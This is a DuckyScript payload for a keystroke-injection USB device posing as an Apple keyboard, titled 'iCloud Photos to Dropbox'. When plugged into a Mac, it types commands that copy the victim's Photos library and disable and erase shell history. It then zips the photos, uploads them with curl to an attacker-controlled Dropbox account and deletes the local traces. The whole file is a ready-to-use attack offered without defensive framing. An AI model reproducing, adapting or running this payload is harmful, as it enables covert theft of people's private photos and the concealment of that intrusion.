REM Replace '<SYSTEM USERNAME HERE>' with the systems actual username
REM Replace '<YOUR API KEY HERE>' with your actual Dropbox API key
REM Here's the breakdown, we navigate to the finder
REM use the Shift GUI G to open up the "go to folder" menu.
REM Then we search for & open the photos folder.
REM Now we can type "li" to navigate to the library folder that contains the photos
REM we copy it and navigate to a new window to paste the folder
REM Then we zip the folder and rename it "Targets_photos" and send it to the dropbox
REM Using the nohup and & to make sure the code is executed
REM Requirements Must have at least two windows open
REM Dropbox API key and targets system username
REM Author: Narsty
REM Title: iCloud Photos to Dropbox
REM Version 1.0 MacOs
REM Category: Execution
ID 05ac:021e Apple:Keyboard
DELAY 500
GUI SPACE
DELAY 500
STRING Finder
DELAY 1000
ENTER
DELAY 2000
GUI-SHIFT g
DELAY 1000
STRING /Users/<SYSTEM USERNAME HERE>/Library/photos
DELAY 500
ENTER
DELAY 1000
STRING li
DELAY 500
GUI c
DELAY 500
CTRL RIGHTARROW
DELAY 1000
GUI v
DELAY 15000
GUI SPACE
DELAY 500
STRING terminal
DELAY 1000
ENTER
DELAY 500
CTRL c
DELAY 500
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
DELAY 500
ENTER
DELAY 500
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
DELAY 500
ENTER
DELAY 500
ENTER
DELAY 1000
STRING echo 'cd ~/Desktop && zip -r targets_photos.zip Libraries && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <YOUR API KEY HERE>" -H "Dropbox-API-Arg: {\"path\": \"/targets_photos.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @targets_photos.zip' > upload.sh
DELAY 1000
ENTER
DELAY 2000
STRING chmod +x upload.sh
DELAY 500
ENTER
DELAY 500
STRING nohup ./upload.sh >/dev/null 2>&1 &
DELAY 500
ENTER
DELAY 7000
CTRL C
DELAY 500
STRING rm -r ~/Desktop/libraries
DELAY 1000
ENTER
DELAY 500
STRING rm upload.sh
DELAY 500
ENTER
DELAY 5000
STRING rm -r ~/Desktop/targets_photos.zip
ENTER
DELAY 500
STRING CLEAR
DELAY 500
ENTER
DELAY 500
GUI w
DELAY 500
ENTER